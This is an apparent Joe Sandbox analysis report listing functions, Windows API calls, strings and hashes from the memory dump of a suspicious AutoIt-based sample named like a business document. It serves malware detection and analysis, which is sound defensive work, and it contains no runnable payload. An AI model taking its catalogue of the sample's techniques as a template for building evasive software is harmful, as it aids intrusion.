                                                • Instruction Fuzzy Hash: 80516A31A09601CACB117B15E9413EF6FD4DB42750F288968E4D7412EDEF74CCD89AB6
                                                Function 00DA023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: #$+
                                                • API String ID: 0-2552117581
                                                • Opcode ID: 6e94591e01c380d200a28ad8419f87fa038cacfc383c16256ca5f5dc48dd41e7
                                                • Instruction ID: 88d25810fcbdd2e8b8e41de5e8d816eb4c529ffa621c4aaa04167583d8a59c5e
                                                • Opcode Fuzzy Hash: 6e94591e01c380d200a28ad8419f87fa038cacfc383c16256ca5f5dc48dd41e7
                                                • Instruction Fuzzy Hash: 03513275504246CFDF259F28E4886FA7BA6EF1A310F184056E8919B3A4D734DC46CB71
                                                Function 00D962F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memset$_memmove
                                                • String ID: ERCP
                                                • API String ID: 2532777613-1384759551
                                                • Opcode ID: d3bd467d98a019dcc6a5df753ba85cc544f7f8c5c5a8718d21e99679bb3b5113
                                                • Instruction ID: 3bf1e6807c6ec24c19456d33935f533b5fc3adf374974020f199a3bd5d3bcfbe
                                                • Opcode Fuzzy Hash: d3bd467d98a019dcc6a5df753ba85cc544f7f8c5c5a8718d21e99679bb3b5113
                                                • Instruction Fuzzy Hash: 6951D271904709DFDB24CFA5C8857AABBF4EF44710F24856EEA8ADB240E771D684CB60
                                                Function 00E07BB5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00E0F910,00000000,?,?,?,?), ref: 00E07C4E
                                                • GetWindowLongW.USER32 ref: 00E07C6B
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E07C7B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Long
                                                • String ID: SysTreeView32
                                                • API String ID: 847901565-1698111956
                                                • Opcode ID: 0575d5a7da9835b99b44c5c0af7feacc9190c6be24802db401ef58393cc904b2
                                                • Instruction ID: d37a1fb05603bf9f019ba0bc65dbe2bc5b2a32ad179b9dc72170e1a68599af11
                                                • Opcode Fuzzy Hash: 0575d5a7da9835b99b44c5c0af7feacc9190c6be24802db401ef58393cc904b2
                                                • Instruction Fuzzy Hash: A831B231604205AFDB219F34DC45BEA77A9EB49328F245725F8B5B21E0D731EC919B60
                                                Function 00E07648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00E076D0
                                                • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00E076E4
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00E07708
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window
                                                • String ID: SysMonthCal32
                                                • API String ID: 2326795674-1439706946
                                                • Opcode ID: 3d02ee1bd60e376ba47301f31d29155ab9182dd7b9868ed162e2a2b2a9892a20
                                                • Instruction ID: 2a298697967d968336795adbc9d53df223c6c213f3bd70c26b2522abc9a083dd
                                                • Opcode Fuzzy Hash: 3d02ee1bd60e376ba47301f31d29155ab9182dd7b9868ed162e2a2b2a9892a20
                                                • Instruction Fuzzy Hash: 1321B132500218ABDF11CE54DC46FEA3B69EB48758F111214FE557B1D0DAB2B8958BA0
                                                Function 00E06F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00E06FAA
                                                • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00E06FBA
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00E06FDF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$MoveWindow
                                                • String ID: Listbox
                                                • API String ID: 3315199576-2633736733
                                                • Opcode ID: 06409fb51fce42369f08c8273f65c31a39c8a03667d46b2d5948055230832d51
                                                • Instruction ID: f169a2d689c62ec1ee818f0b3cacbaa9b24ac2f21c3d9de4fe6642259a200e76
                                                • Opcode Fuzzy Hash: 06409fb51fce42369f08c8273f65c31a39c8a03667d46b2d5948055230832d51
                                                • Instruction Fuzzy Hash: 6921C532710119BFDF118F54DC85FAB37AAEF89754F019124F904A71D0C6719CA2C7A0
                                                Function 00E0797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00E079E1
                                                • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00E079F6
                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00E07A03
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: msctls_trackbar32
                                                • API String ID: 3850602802-1010561917
                                                • Opcode ID: e9c17b2c012350d98718a43c5ebab9b3c2021d5fb057394b43b937394f244944
                                                • Instruction ID: d9fd17c16264c7e412f2e7ce090f4961e21e08bf7c53ab803a242f87b175e2b1
                                                • Opcode Fuzzy Hash: e9c17b2c012350d98718a43c5ebab9b3c2021d5fb057394b43b937394f244944
                                                • Instruction Fuzzy Hash: B111E732644208BFEF149F61CC05FDB37A9EFC9B68F024519F641B60D0D272A851CB60
                                                Function 00D84C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D84C2E), ref: 00D84CA3
                                                • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00D84CB5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetNativeSystemInfo$kernel32.dll
                                                • API String ID: 2574300362-192647395
                                                • Opcode ID: 403c50735dba43431ff468d14cc0741530b32f0772ac3d858e156b23f737136d
                                                • Instruction ID: 0163503cd0246183b095c234c6cb17eca2cbabc366a5538499c8d95baaa88d9c
                                                • Opcode Fuzzy Hash: 403c50735dba43431ff468d14cc0741530b32f0772ac3d858e156b23f737136d
                                                • Instruction Fuzzy Hash: 86D01730511723CFD730AF72DA1860676E9AF05791B16883AD886E6990EA74D8E0CF60
                                                Function 00D84D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D84CE1,?), ref: 00D84DA2
                                                • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D84DB4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-1355242751
                                                • Opcode ID: 6988f333a1f7ff3c79f007261e4928aa87f17376a546903d9fcd7a97f1f5e843
                                                • Instruction ID: 25be22d084d37fc926e8763eb7a72a163c1d04f5030b8f105b82bcf2cc388664
                                                • Opcode Fuzzy Hash: 6988f333a1f7ff3c79f007261e4928aa87f17376a546903d9fcd7a97f1f5e843
                                                • Instruction Fuzzy Hash: 66D01771550713CFD730AF32D808A4676E4AF09365F16883AD8C6E6990EB70D8D0CB60
                                                Function 00D84D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D84D2E,?,00D84F4F,?,00E462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D84D6F
                                                • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00D84D81
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-3689287502
                                                • Opcode ID: 2942deceeaa628793d20136b16f2f0ad79c98481a35e3b414d28b858a9d11000
                                                • Instruction ID: 33e15d084dbf992453eede3ab63711cf329ef1f7505e40ed6d6e14d5565e5617
                                                • Opcode Fuzzy Hash: 2942deceeaa628793d20136b16f2f0ad79c98481a35e3b414d28b858a9d11000
                                                • Instruction Fuzzy Hash: 60D01770510713CFD730AF32D80861676E8BF15352B198C3AD886E6A90E671D8D0CF60
                                                Function 00E01072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(advapi32.dll,?,00E012C1), ref: 00E01080
                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00E01092
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                • API String ID: 2574300362-4033151799
                                                • Opcode ID: 7e75f6c0c64c4837ad69d59ddac5c920806ab6d86790c5b28f5dc8256da5d2d9
                                                • Instruction ID: 15275b2a22bf5f6503a6c5f00882f146ea98719aee7b66ff0bf3f11437b12582
                                                • Opcode Fuzzy Hash: 7e75f6c0c64c4837ad69d59ddac5c920806ab6d86790c5b28f5dc8256da5d2d9
                                                • Instruction Fuzzy Hash: 8ED01730510712CFD7309F36E818A1B7AE4AF09365F119D7AE8CAFA5A0E770C8C0CA50
                                                Function 00DF93F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,00000001,00DF9009,?,00E0F910), ref: 00DF9403
                                                • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00DF9415
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetModuleHandleExW$kernel32.dll
                                                • API String ID: 2574300362-199464113
                                                • Opcode ID: cb02f789f27d0c2f023b8c76580beaae5d9689bdec0124b8796ec6f546ae6038
                                                • Instruction ID: 44c7ac8390041098ec0735beab8e072df0cbc8f64daf2830b2ef0f11bdc68c2b
                                                • Opcode Fuzzy Hash: cb02f789f27d0c2f023b8c76580beaae5d9689bdec0124b8796ec6f546ae6038
                                                • Instruction Fuzzy Hash: DBD0C73090031BDFC7319F32C908202B6E4BF14341B0AC83AE482E2990E670C8C0CA60
                                                Function 00DD76C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 2d99d55b8e4bd73c0eee361b82ed7056239c05cd51f5f7671c3b2f755ef3c468
                                                • Instruction ID: 43897b883afe3172101f341cfcbbb4b588c4d4368d681ff49c2860e220bf4e0b
                                                • Opcode Fuzzy Hash: 2d99d55b8e4bd73c0eee361b82ed7056239c05cd51f5f7671c3b2f755ef3c468
                                                • Instruction Fuzzy Hash: FEC15B75A04216EFCB14CF94C884AAEB7B5FF48710B1585DAE805EB351E730EE81DBA0
                                                Function 00DFE33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?), ref: 00DFE3D2
                                                • CharLowerBuffW.USER32(?,?), ref: 00DFE415
                                                  • Part of subcall function 00DFDAB9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00DFDAD9
                                                • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00DFE615
                                                • _memmove.LIBCMT ref: 00DFE628
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharLower$AllocVirtual_memmove
                                                • String ID:
                                                • API String ID: 3659485706-0
                                                • Opcode ID: 7f5a17bf1f2adeb7184236febd027f1da3a2f47d6e92f294e1a0696cd0c28d7a
                                                • Instruction ID: 5c40a246f27cb34f4e4830f542771085779418eb15049a2cf911984e0555b262
                                                • Opcode Fuzzy Hash: 7f5a17bf1f2adeb7184236febd027f1da3a2f47d6e92f294e1a0696cd0c28d7a
                                                • Instruction Fuzzy Hash: 38C18A716083058FC714DF28C48096ABBE4FF88718F19896DF9999B361D730E946CFA2
                                                Function 00DF83A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00DF83D8
                                                • CoUninitialize.OLE32 ref: 00DF83E3
                                                  • Part of subcall function 00DDDA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00DDDAC5
                                                • VariantInit.OLEAUT32(?), ref: 00DF83EE
                                                • VariantClear.OLEAUT32(?), ref: 00DF86BF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                • String ID:
                                                • API String ID: 780911581-0
                                                • Opcode ID: b2ba3a905373cb1c392c8e20538d7e85a259ddcaf65f8280a743188867171bdb
                                                • Instruction ID: 6d43133303526f80b83c2ddb55bae582a78e4ed59ffb0dec423c1f972d217e48
                                                • Opcode Fuzzy Hash: b2ba3a905373cb1c392c8e20538d7e85a259ddcaf65f8280a743188867171bdb
                                                • Instruction Fuzzy Hash: B0A137752047059FCB10EF24C895B2AB7E5FF88314F098449FA9A9B3A1CB30ED45DB62
                                                Function 00DD6DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$AllocClearCopyInitString
                                                • String ID:
                                                • API String ID: 2808897238-0
                                                • Opcode ID: effc0b9aaddb370c9e2d82614a86327f8cb432aa8b1ce632fcc23a23ece5fb0e
                                                • Instruction ID: 972db48c033a42f051ae5f09e083ba8952b225694212269c62e1248b29e7cae5
                                                • Opcode Fuzzy Hash: effc0b9aaddb370c9e2d82614a86327f8cb432aa8b1ce632fcc23a23ece5fb0e
                                                • Instruction Fuzzy Hash: 07519330A087019ADB24AF75D891A3AB3E5EF48310F24881FE996DB3D1EA70D8409B75
                                                Function 00E09A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(0194EA78,?), ref: 00E09AD2
                                                • ScreenToClient.USER32(00000002,00000002), ref: 00E09B05
                                                • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00E09B72
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$ClientMoveRectScreen
                                                • String ID:
                                                • API String ID: 3880355969-0
                                                • Opcode ID: 86bf60451686d3a0da267faa25b3311bd25880c50b3c40840f9f0405c2e63a38
                                                • Instruction ID: 0a9fd623ff3204bcacd88f27d36bd00082635a74376db473d50f5b0c02dee2a2
                                                • Opcode Fuzzy Hash: 86bf60451686d3a0da267faa25b3311bd25880c50b3c40840f9f0405c2e63a38
                                                • Instruction Fuzzy Hash: 1B513F34A00209EFCF14DF68E8809AE7BB5FB55324F108159F855AB2D2D731AD91CF94
                                                Function 00DF6CBD Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00DF6CE4
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6CF4
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00DF6D58
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6D64
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
